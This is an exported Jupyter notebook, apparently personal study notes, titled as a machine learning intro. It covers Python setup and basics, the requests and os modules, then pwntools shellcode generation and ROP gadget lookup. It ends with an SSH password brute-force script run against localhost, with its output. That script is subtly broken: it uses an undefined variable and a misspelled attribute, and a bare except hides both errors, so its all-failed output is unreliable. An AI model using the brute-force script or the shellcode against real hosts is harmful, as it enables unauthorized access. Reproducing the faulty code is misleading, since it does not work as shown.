Intro to ML Part 1: Introduction
Installing Anaconda¶
- Download Anaconda installer
- Run
bash ~/Downloads/Anaconda3-2020.02-Linux-x86_64.sh
- Follow the prompts on the installer screens
- Restart the terminal
- Verify the installation by running
conda info
Anaconda Commands¶
Description | Command |
---|---|
Creating new virtual env | conda create -n myenv pandas jupyterlab |
Cloning existing env | conda create -n myclone --clone myenv |
Version specified | conda create -n myenv python=3.8 |
Activating the env | conda activate myenv |
Deactivating the env | conda deactivate |
Listing env | conda env list |
Removing env | conda env remove --name myenv |
Installing packages | conda install pandas |
Uninstalling Anaconda¶
conda install anaconda-clean
anaconda-clean --yes
sudo rm -rf ~/anaconda3
sudo rm -rf ~/.anaconda_backup
sudo rm -rf ~/.condarc ~/.conda ~/.continuum
- Remove the PATH from ~/.bashrc and _~/.bashprofile
Installing Jupyter Notebook¶
- You can also install Jupyter individualy and manage the virtual enviroment with virtualenv
pip3 install Jupyter
pip3 install virtualenv
virtualenv my_project_env
source my_project_env/bin/activate
jupyter notebook
Jupyter Notebook 500 : Internal Server Error¶
- In this case upgrade your Jupyter hub
pip3 install --upgrade jupyterhub
pip3 install --upgrade --user nbconve
Jupyter shortcuts¶
Description | Command |
---|---|
A | Insert a new cell above |
B | Insert a new cell below |
M | Markdown |
Y | Code |
D+D | Delete the current cell |
Shift + Enter | Compile and move to the next cell |
Alt + Enter | Compile and insert a new cell |
Shift + Tab | Docstring |
Esc + F | Find and Replace |
Esc + O | Toggle cell output |
Shift + J | Selects cell in downwards direction |
Shift + K | Selects cell in upwards direction |
Shift + M | Merge cells |
Uninstalling Jupyter¶
pip3 uninstall jupyter jupyter_core jupyter-client jupyter-console jupyterlab_pygments notebook qtconsole nbconvert nbformat
Types of variable in python¶
In [16]:
a = 10
type(a)
Out[16]:
int
In [15]:
a = 'name'
type(a)
Out[15]:
str
In [14]:
a = 3.14
type(a)
Out[14]:
float
In [5]:
a = True
type(a)
Out[5]:
bool
In [6]:
a = []
type(a)
Out[6]:
list
In [7]:
a = ()
type(a)
Out[7]:
tuple
In [8]:
a = {}
type(a)
Out[8]:
dict
In [10]:
a = 2 + 3j
type(a)
Out[10]:
complex
In [17]:
a = 10
print(id(a))
a = a + 1
print(id(a))
139728365961744 139728365961776
In [18]:
b = 10
c = 10
print(id(b))
print(id(c))
139728365961744 139728365961744
In [21]:
a = 100
b = 17
In [22]:
a+b
Out[22]:
117
In [23]:
a-b
Out[23]:
83
In [24]:
a*b
Out[24]:
1700
In [28]:
a**b
Out[28]:
10000000000000000000000000000000000
In [25]:
a/b
Out[25]:
5.882352941176471
In [26]:
a//b
Out[26]:
5
In [29]:
a % b
Out[29]:
15
In [32]:
a = input()
type(a)
41
Out[32]:
str
In [33]:
a = int(input())
type(a)
41
Out[33]:
int
Comments¶
Single line comments¶
In [2]:
a = 10
# a = 20
a
Out[2]:
10
Multi line comments¶
- Python doesn't support multi line comments. So, we can use multiple hashes.
In [1]:
b = 0
# b = 10
# b = 20
# b = 30
b
Out[1]:
0
Docstring¶
In [1]:
def add(a, b):
"""
This function sums up
two integers
"""
return a + b
add(10, 30)
Out[1]:
40
Functions¶
In [2]:
def add(a, b): return a + b
add(10, 30)
Out[2]:
40
Conditional operator¶
In [17]:
a = int(input())
if a%2 == 0:
print('even')
else:
print('odd')
20 even
Loops¶
For Loop¶
In [15]:
items = ["the", "meaning", "of", "life"]
for item in items:
print(item)
the meaning of life
In [14]:
for i in range(10):
print(i)
0 1 2 3 4 5 6 7 8 9
While Loop¶
In [2]:
i = 0
while i < 10:
print(i)
i += 1
0 1 2 3 4 5 6 7 8 9
Patterns¶
Square¶
In [5]:
n = int(input())
i = 1
while i <= n :
j = 1
while j <= n:
print(i, end = ' ')
j = j + 1
print()
i = i + 1
5 1 1 1 1 1 2 2 2 2 2 3 3 3 3 3 4 4 4 4 4 5 5 5 5 5
In [6]:
n = int(input())
i = 1
while i <= n :
j = 1
while j <= n:
print(j, end = ' ')
j = j + 1
print()
i = i + 1
5 1 2 3 4 5 1 2 3 4 5 1 2 3 4 5 1 2 3 4 5 1 2 3 4 5
In [7]:
n = int(input())
i = 1
while i <= n :
j = 1
while j <= n:
print(n-j+1, end = ' ')
j = j + 1
print()
i = i + 1
5 5 4 3 2 1 5 4 3 2 1 5 4 3 2 1 5 4 3 2 1 5 4 3 2 1
Triangle¶
In [12]:
n = int(input())
i = 1
while i <= n :
j = 1
while j <= i :
print(j, end = ' ')
j = j + 1
print()
i = i + 1
5 1 1 2 1 2 3 1 2 3 4 1 2 3 4 5
In [14]:
n = int(input())
i = 1
while i <= n :
j = i
k = 1
while k <= i :
print(j, end = ' ')
k = k + 1
j = j + 1
print()
i = i + 1
5 1 2 3 3 4 5 4 5 6 7 5 6 7 8 9
In [19]:
n = int(input())
i = 1
t = 1
while i <= n :
j = 1
while j <= i :
print(t, end = ' ')
t = t + 1
j = j + 1
print()
i = i + 1
5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
In [20]:
n = int(input())
i = 1
while i <= n:
j = 1
while j <= i:
print(i, end = ' ')
j = j + 1
print()
i = i + 1
5 1 2 2 3 3 3 4 4 4 4 5 5 5 5 5
In [22]:
n = int(input())
i = 1
while i <= n:
j = i
while j > 0:
print(j, end = ' ')
j = j - 1
print()
i = i + 1
5 1 2 1 3 2 1 4 3 2 1 5 4 3 2 1
Characters¶
In [24]:
n = int(input())
i = 1
while i <= n :
j = 1
while j <= n:
print(chr(ord('A') + j -1), end = ' ')
j = j + 1
print()
i = i + 1
5 A B C D E A B C D E A B C D E A B C D E A B C D E
In [3]:
n = int(input())
i = 1
while i <= n :
j = 1
start = chr(ord('A') + i -1)
while j <= n:
print(chr(ord(start) + j -1), end = ' ')
j = j + 1
print()
i = i + 1
5 A B C D E B C D E F C D E F G D E F G H E F G H I
Inverted¶
In [5]:
n = int(input())
i = 1
while i <= n:
j = 1
while j <= n - i + 1:
print('*', end=' ')
j = j + 1
print()
i = i + 1
5 * * * * * * * * * * * * * * *
Reversed¶
In [2]:
n = int(input())
i = 1
while i <= n:
j = n - i
star = i
while j > 0:
print(' ', end=' ')
j = j - 1
while star > 0:
print('*', end=' ')
star = star - 1
print()
i = i + 1
5 * * * * * * * * * * * * * * *
In [3]:
n = int(input())
i = 1
while i <= n:
j = n - i
star = i
while j > 0:
print(' ', end=' ')
j = j - 1
while star > 0:
print('*', end=' ')
star = star - 1
p = i - 1
while p >= 1:
print('*', end=' ')
p = p - 1
print()
i = i + 1
5 * * * * * * * * * * * * * * * * * * * * * * * * *
2d List¶
In [2]:
li = [[1,2,3],[4,5,6],[7,8,9]]
li
Out[2]:
[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
In [3]:
li[0]
Out[3]:
[1, 2, 3]
In [4]:
li[0][0]
Out[4]:
1
In [7]:
li = [i for i in range(10)]
li
Out[7]:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
In [1]:
li = [ [10*i + j for j in range(10) ] for i in range(10)]
li
Out[1]:
[[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [10, 11, 12, 13, 14, 15, 16, 17, 18, 19], [20, 21, 22, 23, 24, 25, 26, 27, 28, 29], [30, 31, 32, 33, 34, 35, 36, 37, 38, 39], [40, 41, 42, 43, 44, 45, 46, 47, 48, 49], [50, 51, 52, 53, 54, 55, 56, 57, 58, 59], [60, 61, 62, 63, 64, 65, 66, 67, 68, 69], [70, 71, 72, 73, 74, 75, 76, 77, 78, 79], [80, 81, 82, 83, 84, 85, 86, 87, 88, 89], [90, 91, 92, 93, 94, 95, 96, 97, 98, 99]]
In [3]:
str = input()
print(type(str))
str
1 2 3 4 5 <class 'str'>
Out[3]:
' 1 2 3 4 5 '
In [4]:
str = input().strip()
print(type(str))
str
1 2 3 4 5 <class 'str'>
Out[4]:
'1 2 3 4 5'
In [6]:
str = input().split()
print(type(str))
str
1 2 3 4 5 <class 'list'>
Out[6]:
['1', '2', '3', '4', '5']
In [8]:
str = input().split(" ")
print(type(str))
str
1 2 3 4 5 <class 'list'>
Out[8]:
['', '', '', '', '', '1', '2', '3', '4', '5', '', '', '', '', '', '']
In [11]:
str = input().strip().split(" ")
print(type(str))
str
1 2 3 4 5 <class 'list'>
Out[11]:
['1', '2', '3', '4', '5']
In [1]:
str = input().strip().split(" ")
n = int(str[0])
m = int(str[1])
li = [int(i) for i in input().strip().split(" ")]
l2 = []
for i in range(n):
l2.append([])
for j in range(m):
l2[i].append(li[i*m + j])
l2
2 3 1 2 3 4 5 6
Out[1]:
[[1, 2, 3], [4, 5, 6]]
sys¶
In [1]:
import sys
sys.version
Out[1]:
'3.10.4 (main, Mar 23 2022, 23:05:40) [GCC 11.2.0]'
In [2]:
sys.executable
Out[2]:
'/usr/bin/python'
In [3]:
sys.platform
Out[3]:
'linux'
In [4]:
for i in range(1,5):
sys.stdout.write(str(i))
sys.stdout.flush()
1234
In [5]:
import time
for i in range(0, 51):
time.sleep(0.1)
sys.stdout.write("{} [{}{}]\r".format(i, '#'*i, "."*(50-i)))
sys.stdout.flush()
sys.stdout.write("\n")
0 [..................................................] 1 [#.................................................] 2 [##................................................] 3 [###...............................................] 4 [####..............................................] 5 [#####.............................................] 6 [######............................................] 7 [#######...........................................] 8 [########..........................................] 9 [#########.........................................] 10 [##########........................................] 11 [###########.......................................] 12 [############......................................] 13 [#############.....................................] 14 [##############....................................] 15 [###############...................................] 16 [################..................................] 17 [#################.................................] 18 [##################................................] 19 [###################...............................] 20 [####################..............................] 21 [#####################.............................] 22 [######################............................] 23 [#######################...........................] 24 [########################..........................] 25 [#########################.........................] 26 [##########################........................] 27 [###########################.......................] 28 [############################......................] 29 [#############################.....................] 30 [##############################....................] 31 [###############################...................] 32 [################################..................] 33 [#################################.................] 34 [##################################................] 35 [###################################...............] 36 [####################################..............] 37 [#####################################.............] 38 [######################################............] 39 [#######################################...........] 40 [########################################..........] 41 [#########################################.........] 42 [##########################################........] 43 [###########################################.......] 44 [############################################......] 45 [#############################################.....] 46 [##############################################....] 47 [###############################################...] 48 [################################################..] 49 [#################################################.] 50 [##################################################]
In [6]:
sys.argv
Out[6]:
['/usr/lib/python3.10/site-packages/ipykernel_launcher.py', '-f', '/home/ahampriyanshu/.local/share/jupyter/runtime/kernel-c52a2e78-7901-49da-b28c-3381d5fd3a41.json']
In [7]:
sys.path
Out[7]:
['/home/ahampriyanshu/experimenting-with-data-science/hacking-with-python', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '', '/home/ahampriyanshu/.local/lib/python3.10/site-packages', '/usr/lib/python3.10/site-packages']
request¶
In [9]:
import requests
x = requests.get('http://httpbin.org/get')
x
Out[9]:
<Response [200]>
In [10]:
x.headers
Out[10]:
{'Date': 'Mon, 02 May 2022 14:54:19 GMT', 'Content-Type': 'application/json', 'Content-Length': '307', 'Connection': 'keep-alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Credentials': 'true'}
In [11]:
x.headers['Server']
Out[11]:
'gunicorn/19.9.0'
In [12]:
x.status_code
Out[12]:
200
In [13]:
x.elapsed
Out[13]:
datetime.timedelta(microseconds=567049)
In [14]:
x.cookies
Out[14]:
<RequestsCookieJar[]>
In [15]:
x.content
Out[15]:
b'{\n "args": {}, \n "headers": {\n "Accept": "*/*", \n "Accept-Encoding": "gzip, deflate", \n "Host": "httpbin.org", \n "User-Agent": "python-requests/2.27.1", \n "X-Amzn-Trace-Id": "Root=1-626ff09b-60e066c93b558d723525dc64"\n }, \n "origin": "112.196.30.231", \n "url": "http://httpbin.org/get"\n}\n'
In [16]:
print(x.text)
{ "args": {}, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Host": "httpbin.org", "User-Agent": "python-requests/2.27.1", "X-Amzn-Trace-Id": "Root=1-626ff09b-60e066c93b558d723525dc64" }, "origin": "112.196.30.231", "url": "http://httpbin.org/get" }
In [17]:
x = requests.get('http://httpbin.org/get?id=3')
x.url
Out[17]:
'http://httpbin.org/get?id=3'
In [18]:
x = requests.get('http://httpbin.org/get', params={'id':'3'}, headers={'Accept':'application/json'})
print(x.text)
{ "args": { "id": "3" }, "headers": { "Accept": "application/json", "Accept-Encoding": "gzip, deflate", "Host": "httpbin.org", "User-Agent": "python-requests/2.27.1", "X-Amzn-Trace-Id": "Root=1-626ff09d-203f42fe15582d0461e4f6d2" }, "origin": "112.196.30.231", "url": "http://httpbin.org/get?id=3" }
In [19]:
x = requests.delete('http://httpbin.org/delete')
x
Out[19]:
<Response [200]>
In [20]:
x = requests.post('http://httpbin.org/post', data={'id':'3'})
print(x.text)
{ "args": {}, "data": "", "files": {}, "form": { "id": "3" }, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Content-Length": "4", "Content-Type": "application/x-www-form-urlencoded", "Host": "httpbin.org", "User-Agent": "python-requests/2.27.1", "X-Amzn-Trace-Id": "Root=1-626ff09e-6e5ca8c72b05c0a22be49122" }, "json": null, "origin": "112.196.30.231", "url": "http://httpbin.org/post" }
In [21]:
x = requests.get('http://httpbin.org/get', auth=('super', 'secret'))
print(x.text)
{ "args": {}, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic c3VwZXI6c2VjcmV0", "Host": "httpbin.org", "User-Agent": "python-requests/2.27.1", "X-Amzn-Trace-Id": "Root=1-626ff09f-3e1f61254413856412bff69c" }, "origin": "112.196.30.231", "url": "http://httpbin.org/get" }
In [22]:
!echo -ne c3VwZXI6c2VjcmV0 | base64 -d
super:secret
In [24]:
x = requests.get('https://expired.badssl.com', verify=False)
/usr/lib/python3.10/site-packages/urllib3/connectionpool.py:1043: InsecureRequestWarning: Unverified HTTPS request is being made to host 'expired.badssl.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings warnings.warn(
In [25]:
x = requests.get('http://github.com')
x
Out[25]:
<Response [200]>
In [26]:
x = requests.get('http://github.com', allow_redirects=False)
x
Out[26]:
<Response [301]>
In [27]:
x = requests.get('http://httpbin.org/get', timeout=1)
x.content
Out[27]:
b'{\n "args": {}, \n "headers": {\n "Accept": "*/*", \n "Accept-Encoding": "gzip, deflate", \n "Host": "httpbin.org", \n "User-Agent": "python-requests/2.27.1", \n "X-Amzn-Trace-Id": "Root=1-626ff0b8-1338d09c309b49c65dcd5d37"\n }, \n "origin": "112.196.30.231", \n "url": "http://httpbin.org/get"\n}\n'
In [28]:
x = requests.get('http://httpbin.org/cookies', cookies={'a':'1'})
x.content
Out[28]:
b'{\n "cookies": {\n "a": "1"\n }\n}\n'
In [29]:
x = requests.Session()
x.cookies.update({'b':'2'})
print(x.get('http://httpbin.org/cookies').text)
{ "cookies": { "b": "2" } }
os¶
In [3]:
import os
In [18]:
os
Out[18]:
<module 'os' from '/usr/lib/python3.10/os.py'>
In [19]:
os.name
Out[19]:
'posix'
In [5]:
os.getcwd()
Out[5]:
'/home/ahampriyanshu/experimenting-with-data-science/intro-to-ml'
In [6]:
os.chdir('../')
os.getcwd()
Out[6]:
'/home/ahampriyanshu/experimenting-with-data-science'
In [7]:
os.listdir()
Out[7]:
['2004-to-2019-lok-sabha-elections', 'README.md', '.gitignore', 'PCIT-114', '.git', 'intro-to-ml', '2022-state-elections', 'uber-rides-analysis']
In [17]:
os.listdir('/home/ahampriyanshu/experimenting-with-data-science/2022-state-elections')
Out[17]:
['candidates', 'winners']
In [20]:
os.path.getsize('/home/ahampriyanshu/experimenting-with-data-science/README.md')
Out[20]:
32
In [21]:
os.makedirs('/home/ahampriyanshu/experimenting-with-data-science/temp')
In [22]:
os.listdir('/home/ahampriyanshu/experimenting-with-data-science')
Out[22]:
['2004-to-2019-lok-sabha-elections', 'temp', 'README.md', '.gitignore', 'PCIT-114', '.git', 'intro-to-ml', '2022-state-elections', 'uber-rides-analysis']
In [23]:
os.rmdir('/home/ahampriyanshu/experimenting-with-data-science/temp')
In [26]:
with open(os.path.join(os.getcwd(), 'temp.txt'), 'w') as fp:
print(os.listdir(os.getcwd()))
['temp.txt', '2004-to-2019-lok-sabha-elections', 'README.md', '.gitignore', 'PCIT-114', '.git', 'intro-to-ml', '2022-state-elections', 'uber-rides-analysis']
In [27]:
os.remove(os.path.join(os.getcwd(), 'temp.txt'))
In [28]:
os.listdir(os.getcwd())
Out[28]:
['2004-to-2019-lok-sabha-elections', 'README.md', '.gitignore', 'PCIT-114', '.git', 'intro-to-ml', '2022-state-elections', 'uber-rides-analysis']
pwntools¶
In [30]:
from pwn import *
In [31]:
print(cyclic(50))
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
In [32]:
print(cyclic_find("eaa"))
[!] cyclic_find() expected a 4-byte subsequence, you gave b'eaa' Unless you specified cyclic(..., n=3), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=3) to override this. 16
In [33]:
print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
In [34]:
l = ELF('/bin/bash')
[*] '/bin/bash' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
In [35]:
hex(l.address)
0x0
In [36]:
hex(l.entry)
Out[36]:
'0x22330'
In [37]:
for address in l.search(b'/bin/sh\x00'):
print(hex(address))
0x2296a 0x22a26
In [38]:
print(hex(next(l.search(asm('jmp esp')))))
0xdf433
In [39]:
r = ROP(l)
r.rbx
[*] Loading gadgets for '/bin/bash'
Out[39]:
Gadget(0x22733, ['pop rbx', 'ret'], ['rbx'], 0x8)
In [40]:
xor("A", "B")
/home/ahampriyanshu/.local/lib/python3.10/site-packages/pwnlib/util/fiddling.py:325: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes strs = [packing.flat(s, word_size = 8, sign = False, endianness = 'little') for s in args]
Out[40]:
b'\x03'
In [41]:
xor(xor("A", "B"), "A")
Out[41]:
b'B'
In [44]:
b64e(b"manjaro")
Out[44]:
'bWFuamFybw=='
In [46]:
b64d(b"bWFuamFybw==")
Out[46]:
b'manjaro'
In [47]:
md5sumhex(b"manjaro")
Out[47]:
'8fbb65d5340a3da99b49da4a584f42bd'
In [48]:
sha1sumhex(b"manjaro")
Out[48]:
'fdfbb71efa6115f541e469cfa9b77fbd464b07b3'
In [49]:
bits(b'a')
Out[49]:
[0, 1, 1, 0, 0, 0, 0, 1]
In [50]:
unbits([0, 1, 1, 0, 0, 0, 0, 1])
Out[50]:
b'a'
brute forcing ssh¶
In [51]:
from pwn import *
import paramiko
/home/ahampriyanshu/.local/lib/python3.10/site-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated "class": algorithms.Blowfish,
In [58]:
hostname = "127.0.0.1"
username = "ahampriyanshu"
attempts = 0
with open('pass.txt', 'r') as passwords:
for password in passwords:
password = password.strip("\n")
try:
print("[O] Attmepting password({}): '{}'!".format(attempts, password))
response = ssh(host=host, user=username, password=password, timeout = 0.1)
if response.connected90:
print("[>] Password Found: '{}'!".format(password))
response.close()
break
response.close()
except:
print("[X] Invalid Password!")
attempts += 1
[O] Attmepting password(0): 'root'! [X] Invalid Password! [O] Attmepting password(1): 'qwertyuiop'! [X] Invalid Password! [O] Attmepting password(2): 'wubao'! [X] Invalid Password! [O] Attmepting password(3): 'password'! [X] Invalid Password! [O] Attmepting password(4): '123456'! [X] Invalid Password! [O] Attmepting password(5): 'admin'! [X] Invalid Password! [O] Attmepting password(6): '12345'! [X] Invalid Password! [O] Attmepting password(7): '1234'! [X] Invalid Password! [O] Attmepting password(8): 'p@ssw0rd'! [X] Invalid Password! [O] Attmepting password(9): '123'! [X] Invalid Password! [O] Attmepting password(10): '1'! [X] Invalid Password! [O] Attmepting password(11): 'jiamima'! [X] Invalid Password! [O] Attmepting password(12): 'test'! [X] Invalid Password! [O] Attmepting password(13): 'root123'! [X] Invalid Password! [O] Attmepting password(14): '!'! [X] Invalid Password! [O] Attmepting password(15): '!q@w'! [X] Invalid Password! [O] Attmepting password(16): '!qaz@wsx'! [X] Invalid Password! [O] Attmepting password(17): 'idc!@'! [X] Invalid Password! [O] Attmepting password(18): 'admin!@'! [X] Invalid Password! [O] Attmepting password(19): ''! [X] Invalid Password! [O] Attmepting password(20): 'alpine'! [X] Invalid Password! [O] Attmepting password(21): 'qwerty'! [X] Invalid Password! [O] Attmepting password(22): '12345678'! [X] Invalid Password! [O] Attmepting password(23): '111111'! [X] Invalid Password! [O] Attmepting password(24): '123456789'! [X] Invalid Password! [O] Attmepting password(25): '1q2w3e4r'! [X] Invalid Password! [O] Attmepting password(26): '123123'! [X] Invalid Password! [O] Attmepting password(27): 'default'! [X] Invalid Password! [O] Attmepting password(28): '1234567'! [X] Invalid Password! [O] Attmepting password(29): 'qwe123'! [X] Invalid Password! [O] Attmepting password(30): '1qaz2wsx'! [X] Invalid Password! [O] Attmepting password(31): '1234567890'! [X] Invalid Password! [O] Attmepting password(32): 'abcd1234'! [X] Invalid Password! [O] Attmepting password(33): '000000'! [X] Invalid Password! [O] Attmepting password(34): 'user'! [X] Invalid Password! [O] Attmepting password(35): 'toor'! [X] Invalid Password! [O] Attmepting password(36): 'qwer1234'! [X] Invalid Password! [O] Attmepting password(37): '1q2w3e'! [X] Invalid Password! [O] Attmepting password(38): 'asdf1234'! [X] Invalid Password! [O] Attmepting password(39): 'redhat'! [X] Invalid Password! [O] Attmepting password(40): '1234qwer'! [X] Invalid Password! [O] Attmepting password(41): 'cisco'! [X] Invalid Password! [O] Attmepting password(42): '12qwaszx'! [X] Invalid Password! [O] Attmepting password(43): 'test123'! [X] Invalid Password! [O] Attmepting password(44): '1q2w3e4r5t'! [X] Invalid Password! [O] Attmepting password(45): 'admin123'! [X] Invalid Password! [O] Attmepting password(46): 'changeme'! [X] Invalid Password! [O] Attmepting password(47): '1qazxsw2'! [X] Invalid Password! [O] Attmepting password(48): '123qweasd'! [X] Invalid Password! [O] Attmepting password(49): 'q1w2e3r4'! [X] Invalid Password! [O] Attmepting password(50): 'letmein'! [X] Invalid Password! [O] Attmepting password(51): 'server'! [X] Invalid Password! [O] Attmepting password(52): 'root1234'! [X] Invalid Password! [O] Attmepting password(53): 'master'! [X] Invalid Password! [O] Attmepting password(54): 'abc123'! [X] Invalid Password! [O] Attmepting password(55): 'rootroot'! [X] Invalid Password! [O] Attmepting password(56): 'a'! [X] Invalid Password! [O] Attmepting password(57): 'system'! [X] Invalid Password! [O] Attmepting password(58): 'pass'! [X] Invalid Password! [O] Attmepting password(59): '1qaz2wsx3edc'! [X] Invalid Password! [O] Attmepting password(60): 'p@$$w0rd'! [X] Invalid Password! [O] Attmepting password(61): '112233'! [X] Invalid Password! [O] Attmepting password(62): 'welcome'! [X] Invalid Password! [O] Attmepting password(63): '!QAZ2wsx'! [X] Invalid Password! [O] Attmepting password(64): 'linux'! [X] Invalid Password! [O] Attmepting password(65): '123321'! [X] Invalid Password! [O] Attmepting password(66): 'manager'! [X] Invalid Password! [O] Attmepting password(67): '1qazXSW@'! [X] Invalid Password! [O] Attmepting password(68): 'q1w2e3r4t5'! [X] Invalid Password! [O] Attmepting password(69): 'oracle'! [X] Invalid Password! [O] Attmepting password(70): 'asd123'! [X] Invalid Password! [O] Attmepting password(71): 'admin123456'! [X] Invalid Password! [O] Attmepting password(72): 'ubnt'! [X] Invalid Password! [O] Attmepting password(73): '123qwe'! [X] Invalid Password! [O] Attmepting password(74): 'qazwsxedc'! [X] Invalid Password! [O] Attmepting password(75): 'administrator'! [X] Invalid Password! [O] Attmepting password(76): 'superuser'! [X] Invalid Password! [O] Attmepting password(77): 'zaq12wsx'! [X] Invalid Password! [O] Attmepting password(78): '121212'! [X] Invalid Password! [O] Attmepting password(79): '654321'! [X] Invalid Password! [O] Attmepting password(80): 'ubuntu'! [X] Invalid Password! [O] Attmepting password(81): '0000'! [X] Invalid Password! [O] Attmepting password(82): 'zxcvbnm'! [X] Invalid Password! [O] Attmepting password(83): 'root@123'! [X] Invalid Password! [O] Attmepting password(84): '1111'! [X] Invalid Password! [O] Attmepting password(85): 'vmware'! [X] Invalid Password! [O] Attmepting password(86): 'q1w2e3'! [X] Invalid Password! [O] Attmepting password(87): 'qwerty123'! [X] Invalid Password! [O] Attmepting password(88): 'cisco123'! [X] Invalid Password! [O] Attmepting password(89): '11111111'! [X] Invalid Password! [O] Attmepting password(90): 'pa55w0rd'! [X] Invalid Password! [O] Attmepting password(91): 'asdfgh'! [X] Invalid Password! [O] Attmepting password(92): 'notroot'! [X] Invalid Password! [O] Attmepting password(93): '11111'! [X] Invalid Password! [O] Attmepting password(94): '123abc'! [X] Invalid Password! [O] Attmepting password(95): 'asdf'! [X] Invalid Password! [O] Attmepting password(96): 'centos'! [X] Invalid Password! [O] Attmepting password(97): '888888'! [X] Invalid Password! [O] Attmepting password(98): '54321'! [X] Invalid Password! [O] Attmepting password(99): 'password123'! [X] Invalid Password!